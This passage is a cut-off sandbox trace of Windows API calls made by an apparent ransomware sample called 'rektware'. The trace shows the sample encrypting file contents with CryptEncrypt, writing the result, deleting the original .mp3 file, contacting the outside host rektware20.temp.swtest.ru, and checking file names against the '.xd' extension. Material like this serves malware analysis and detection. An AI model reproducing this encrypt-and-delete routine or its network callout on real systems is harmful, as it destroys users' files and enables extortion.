wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.632] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.632] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.632] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.634] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0063.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0063.634] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0063.634] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e5ea8*, pdwDataLen=0x130e618*=0x15387, dwBufLen=0x15390 | out: pbData=0x17e5ea8*, pdwDataLen=0x130e618*=0x15390) returned 1 [0063.634] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.634] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.634] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.635] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.635] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.635] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.636] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.636] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.636] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.636] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.636] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.636] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.636] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.636] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.636] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.636] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.636] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.641] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.641] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.641] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.642] WriteFile (in: hFile=0x3bc, lpBuffer=0x18923a8*, nNumberOfBytesToWrite=0x15390, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x18923a8*, lpNumberOfBytesWritten=0x130f01c*=0x15390, lpOverlapped=0x0) returned 1 [0063.644] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.644] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.644] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0063.644] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.644] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.644] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0063.644] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0063.644] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0063.644] CryptDestroyKey (hKey=0x164c630) returned 1 [0063.644] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.644] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.645] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.645] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.645] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.645] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.645] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.645] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.645] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.645] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0063.645] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.645] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.645] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.645] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.645] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.645] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.645] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.645] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.645] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.645] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.645] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.647] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.647] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.647] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.647] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.647] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.647] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.647] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.647] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0063.647] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0063.647] CryptReleaseContext (hProv=0x17ab880, dwFlags=0x0) returned 1 [0063.648] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.648] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.648] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.648] FreeLibrary (hLibModule=0x74c60000) returned 1 [0063.648] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.648] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.648] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.648] CloseHandle (hObject=0x2ac) returned 1 [0063.650] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.650] CloseHandle (hObject=0x3bc) returned 1 [0063.655] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.656] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.656] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", lpFilePart=0x0) returned 0x49 [0063.656] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht\\n0mtwc1vtk_pj.mp3")) returned 0x20 [0063.656] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c6b0 [0063.656] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht\\n0mtwc1vtk_pj.mp3")) returned 1 [0063.660] FindNextFileW (in: hFindFile=0x164c6b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0063.660] FindClose (in: hFindFile=0x164c6b0 | out: hFindFile=0x164c6b0) returned 1 [0063.660] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.660] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.660] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.660] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.661] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0063.661] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.661] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.661] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0063.661] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.661] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0063.661] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0063.661] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c) returned 1 [0063.661] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.661] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.662] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.663] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0063.663] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0063.663] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0063.663] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0063.663] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0063.663] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.663] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.663] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.663] CloseHandle (hObject=0x0) returned 0 [0063.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.663] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 